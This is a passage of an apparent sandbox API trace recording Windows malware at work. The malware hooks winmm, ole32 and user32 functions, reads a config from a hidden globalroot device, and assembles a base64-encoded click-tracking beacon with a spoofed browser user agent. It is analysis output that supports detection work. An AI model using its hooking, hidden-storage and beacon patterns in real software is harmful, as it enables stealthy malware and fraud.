(_Str="/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="d.gossipcenter.com/ck.php", _SubStr=";") returned 0x0 [0110.277] strstr (_Str="/login/;/tweet/;action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/tweet/;action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="/tweet/;action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="d.gossipcenter.com/ck.php", _SubStr=";") returned 0x0 [0110.277] GetModuleHandleA (lpModuleName="winmm.dll") returned 0x0 [0110.277] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x75810000 [0110.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880027da6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c1a000 [0110.278] IdePortDispatch () returned 0x103 [0110.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c1d000 [0110.279] IdePortDispatch () returned 0x103 [0110.280] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\winmm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.280] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c21000 [0110.280] IdePortDispatch () returned 0x103 [0110.281] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c31000 [0110.281] IdePortDispatch () returned 0x103 [0110.282] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c36000 [0110.282] IdePortDispatch () returned 0x103 [0110.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c47000 [0110.283] IdePortDispatch () returned 0x103 [0110.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c57000 [0110.284] IdePortDispatch () returned 0x103 [0110.296] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5d000 [0110.296] IdePortDispatch () returned 0x103 [0110.297] RtlImageNtHeader (BaseAddress=0x75810000) returned 0x758100e0 [0110.297] RtlImageDirectoryEntryToData (in: BaseAddress=0x75810000, MappedAsImage=1, Directory=0x0, Size=0x101f9b8 | out: Size=0x101f9b8) returned 0x7581131c [0110.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x3f0000 [0110.297] VirtualProtect (in: lpAddress=0x7581451e, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101f9b8 | out: lpflOldProtect=0x101f9b8*=0x20) returned 1 [0110.298] VirtualProtect (in: lpAddress=0x7581451e, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101f9b8 | out: lpflOldProtect=0x101f9b8*=0x40) returned 1 [0110.298] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x75d60000 [0110.298] RtlImageNtHeader (BaseAddress=0x75d60000) returned 0x75d600e8 [0110.298] RtlImageDirectoryEntryToData (in: BaseAddress=0x75d60000, MappedAsImage=1, Directory=0x0, Size=0x101f9b8 | out: Size=0x101f9b8) returned 0x75dabac0 [0110.298] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0110.298] VirtualProtect (in: lpAddress=0x75da9d0b, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101f9b8 | out: lpflOldProtect=0x101f9b8*=0x20) returned 1 [0110.298] VirtualProtect (in: lpAddress=0x75da9d0b, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101f9b8 | out: lpflOldProtect=0x101f9b8*=0x40) returned 1 [0110.298] GetModuleHandleA (lpModuleName="user32") returned 0x75a80000 [0110.298] RtlImageNtHeader (BaseAddress=0x75a80000) returned 0x75a800e8 [0110.298] RtlImageDirectoryEntryToData (in: BaseAddress=0x75a80000, MappedAsImage=1, Directory=0x0, Size=0x101f9b4 | out: Size=0x101f9b4) returned 0x75a90548 [0110.298] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x800000 [0110.299] VirtualProtect (in: lpAddress=0x75aa1218, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101f9b4 | out: lpflOldProtect=0x101f9b4*=0x20) returned 1 [0110.299] VirtualProtect (in: lpAddress=0x75aa1218, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101f9b4 | out: lpflOldProtect=0x101f9b4*=0x40) returned 1 [0110.299] GetModuleHandleA (lpModuleName="user32") returned 0x75a80000 [0110.299] RtlImageNtHeader (BaseAddress=0x75a80000) returned 0x75a800e8 [0110.299] RtlImageDirectoryEntryToData (in: BaseAddress=0x75a80000, MappedAsImage=1, Directory=0x0, Size=0x101f9b4 | out: Size=0x101f9b4) returned 0x75a90548 [0110.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x810000 [0110.299] VirtualProtect (in: lpAddress=0x75abed12, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101f9b4 | out: lpflOldProtect=0x101f9b4*=0x20) returned 1 [0110.299] VirtualProtect (in: lpAddress=0x75abed12, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101f9b4 | out: lpflOldProtect=0x101f9b4*=0x40) returned 1 [0110.300] GetModuleHandleA (lpModuleName="user32") returned 0x75a80000 [0110.300] RtlImageNtHeader (BaseAddress=0x75a80000) returned 0x75a800e8 [0110.300] RtlImageDirectoryEntryToData (in: BaseAddress=0x75a80000, MappedAsImage=1, Directory=0x0, Size=0x101f9b4 | out: Size=0x101f9b4) returned 0x75a90548 [0110.300] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x820000 [0110.300] VirtualProtect (in: lpAddress=0x75aa2320, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101f9b4 | out: lpflOldProtect=0x101f9b4*=0x20) returned 1 [0110.300] VirtualProtect (in: lpAddress=0x75aa2320, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101f9b4 | out: lpflOldProtect=0x101f9b4*=0x40) returned 1 [0110.300] GetSystemMetrics (nIndex=0) returned 1024 [0110.300] GetSystemMetrics (nIndex=1) returned 768 [0110.300] RegisterClassExW (param_1=0x101fa20) returned 0xc055 [0110.301] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0110.301] GetPrivateProfileStringA (in: lpAppName="cmd", lpKeyName="bsh", lpDefault="noname", lpReturnedString=0x237f8, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="noname") returned 0x6 [0110.301] _snprintf (in: _Dest=0xfffff880047ae450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.301] KeEnterCriticalRegion () [0110.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.301] KeInitializeEvent (in: Event=0xfffff880047ae2c0, Type=0x0, State=0 | out: Event=0xfffff880047ae2c0) [0110.301] IdePortDispatch () returned 0x103 [0110.301] KeWaitForMutexObject () returned 0x0 [0110.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.301] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0110.301] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0110.301] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0110.301] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0110.301] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003656fb0 [0110.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.301] KeLeaveCriticalRegion () [0110.301] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.302] _snprintf (in: _Dest=0xfffff880047ae780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.302] KeEnterCriticalRegion () [0110.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.302] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80028a3850, Context=0x0) returned 0x0 [0110.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.302] KeLeaveCriticalRegion () [0110.302] _snprintf (in: _Dest=0xfffff880047ae790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.302] KeEnterCriticalRegion () [0110.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.302] KeInitializeEvent (in: Event=0xfffff880047ae620, Type=0x0, State=0 | out: Event=0xfffff880047ae620) [0110.302] IdePortDispatch () returned 0x103 [0110.302] KeWaitForMutexObject () returned 0x0 [0110.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.302] KeLeaveCriticalRegion () [0110.302] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.302] _snprintf (in: _Dest=0xfffff880047ae770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.302] KeEnterCriticalRegion () [0110.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.302] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c79000 [0110.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa8003aa05e0 [0110.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aa05e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aa05e0) [0110.303] KeInitializeEvent (in: Event=0xfffff880047ae5d0, Type=0x0, State=0 | out: Event=0xfffff880047ae5d0) [0110.303] IdePortDispatch () returned 0x103 [0110.303] KeWaitForMutexObject () returned 0x0 [0110.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa8003aa05e0 [0110.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aa05e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aa05e0) [0110.303] KeInitializeEvent (in: Event=0xfffff880047ae5d0, Type=0x0, State=0 | out: Event=0xfffff880047ae5d0) [0110.303] IdePortDispatch () returned 0x103 [0110.305] KeWaitForMutexObject () returned 0x0 [0110.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.305] KeLeaveCriticalRegion () [0110.305] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.306] _snprintf (in: _Dest=0xfffff880047ae790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.306] KeEnterCriticalRegion () [0110.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.306] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80028a3850, Context=0x0) returned 0x0 [0110.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.306] KeLeaveCriticalRegion () [0110.306] _snprintf (in: _Dest=0xfffff880047ae750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.306] KeEnterCriticalRegion () [0110.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.306] IoGetRequestorProcess (Irp=0xfffffa80028a3850) returned 0xfffffa800389eb30 [0110.306] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800367de10, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0110.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.306] KeLeaveCriticalRegion () [0110.306] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.306] _snprintf (in: _Dest=0xfffff880047ae770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.306] KeEnterCriticalRegion () [0110.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.306] ExFreePoolWithTag (P=0xfffffa8003656fb0, Tag=0x0) [0110.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.306] KeLeaveCriticalRegion () [0110.306] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.306] ReleaseMutex (hMutex=0x130) returned 1 [0110.306] strncpy (in: _Dest=0x101f5b8, _Source="1481016974", _Count=0x3ff | out: _Dest="1481016974") returned="1481016974" [0110.306] _snprintf (in: _Dest=0xb4e3f8, _Count=0x44, _Format="clk=%s&bid=%s&aid=%s&sid=%s&rd=%s" | out: _Dest="clk=3.7&bid=noname&aid=66671&sid=0&rd=1481016974") returned 48 [0110.306] GetTickCount () returned 0xc88b [0110.306] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x2d94e907 [0110.306] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x32eac016 [0110.306] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x36d67c9a [0110.306] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x567be81a [0110.306] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x3973dd20 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x62e26657 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x5e3961cb [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x404331a9 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x48c626fe [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x7bd8ce81 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x5c37d02a [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x76d9750b [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x1abc2c4b [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x3f32a78a [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x28a68b82 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x5b5506ca [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x3db8dd44 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x65d637a8 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x307cfd67 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x290e1954 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x2f2513e9 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x757a9561 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x4f11ec54 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x7268c71f [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x5e338cbb [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x11da0abb [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x47af2515 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x66417ccd [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x74ba50f4 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x7a2cde1a [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0xb941129 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x6204f4a1 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x78b99911 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x2f1e7626 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x1d60f80f [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x52dabe9d [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x2f0c4ffa [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x4862e393 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x3115e3fc [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x62389c1d [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x22cdb7b4 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x773ce092 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x5cc1f093 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x26d33ca3 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x78fea86d [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x374dad1 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x5eeaeb8d [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x242a3a09 [0110.307] strncpy (in: _Dest=0xb4e4b0, _Source="Y2xrPTMuNyZiaWQ9bm9uYW1lJmFpZD02NjY3MSZzaWQ9MCZyZD0xNDgxMDE2OTc0", _Count=0x40 | out: _Dest="Y2xrPTMuNyZiaWQ9bm9uYW1lJmFpZD02NjY3MSZzaWQ9MCZyZD0xNDgxMDE2OTc0") returned="Y2xrPTMuNyZiaWQ9bm9uYW1lJmFpZD02NjY3MSZzaWQ9MCZyZD0xNDgxMDE2OTc0" [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x68c8aa52 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x1ec10b9b [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x125f5219 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x4101e4b9 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x350b9157 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x462b3d83 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x5974b425 [0110.307] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0x54f7ba7a [0110.308] RtlRandom (in: Seed=0x258b4 | out: Seed=0x258b4) returned 0xa44f524 [0110.308] sprintf (in: _Dest=0x101f180, _Format="Accept-Language: %s" | out: _Dest="Accept-Language: en-us") returned 22 [0110.308] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x777e0000 [0110.308] GetProcAddress (hModule=0x777e0000, lpProcName="ObtainUserAgentString") returned 0x77811d76 [0110.308] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x24098, cbSize=0x101db20 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x101db20) returned 0x0 [0110.308] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7b000 [0110.308] IdePortDispatch () returned 0x103 [0110.313] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0110.313] IdePortDispatch () returned 0x103 [0110.314] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca0000 [0110.314] IdePortDispatch () returned 0x103 [0110.315] strncpy (in: _Dest=0x101db40, _Source="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", _Count=0xfff | out: _Dest="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" [0110.315] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0110.337] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.457] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbe000 [0110.544] IdePortDispatch () returned 0x103 [0110.545] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0110.545] IdePortDispatch () returned 0x103 [0110.547] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0110.547] IdePortDispatch () returned 0x103 [0110.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003422000 [0110.548] IdePortDispatch () returned 0x103 [0110.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003423000 [0110.548] IdePortDispatch () returned 0x103 [0110.561] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003424000 [0110.561] IdePortDispatch () returned 0x103 [0110.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003425000 [0110.562] IdePortDispatch () returned 0x103 [0110.570] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003426000 [0110.570] IdePortDispatch () returned 0x103 [0110.643] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d65000 [0110.643] IdePortDispatch 